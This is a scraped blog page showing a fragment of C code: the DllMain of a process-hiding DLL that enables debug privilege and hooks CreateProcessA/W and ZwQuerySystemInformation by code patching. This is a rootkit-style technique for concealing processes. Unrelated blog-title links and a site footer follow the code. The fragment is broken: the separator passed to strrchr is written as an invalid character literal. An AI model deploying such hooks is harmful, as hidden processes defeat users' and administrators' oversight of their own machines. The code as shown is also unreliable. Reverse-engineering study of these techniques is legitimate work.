        p = strrchr(szCurProc, '\');
        if ((p != NULL) && !_stricmp(p + 1, "HideProc2.exe"))
            return TRUE;
    
    
        SetPrivilege(SE_DEBUG_NAME, TRUE);
    
        switch (fdwReason)
        {
        case DLL_PROCESS_ATTACH:
    
            hook_by_code("kernel32.dll", "CreateProcessA",
                (PROC)NewCreateProcessA, g_pOrgCPA);
            hook_by_code("kernel32.dll", "CreateProcessW",
                (PROC)NewCreateProcessW, g_pOrgCPW);
            hook_by_code("ntdll.dll", "ZwQuerySystemInformation",
                (PROC)NewZwQuerySystemInformation, g_pOrgZwQSI);
            break;
    
        case DLL_PROCESS_DETACH:
    
            unhook_by_code("kernel32.dll", "CreateProcessA",
                g_pOrgCPA);
            unhook_by_code("kernel32.dll", "CreateProcessW",
                g_pOrgCPW);
            unhook_by_code("ntdll.dll", "ZwQuerySystemInformation",
                g_pOrgZwQSI);
            break;
        }
    
        return TRUE;
    }
    
    
  • 相关阅读:
    分析SIX锁和锁分区导致的死锁
    导数中的最小化日志记录:测试和分析
    导数中的最小化日志记录:背景和理论
    Redis学习笔记(十一) 服务器
    Redis学习笔记(十) 客户端
    Redis学习笔记(九) AOF持久化
    Redis学习笔记(八) RDB持久化
    Redis学习笔记(七) 数据库
    Redis学习笔记(六) 对象
    Redis学习笔记(五) 压缩列表
  • 原文地址:https://www.cnblogs.com/lex-shoukaku/p/13814969.html
Copyright © 2011-2022 走看看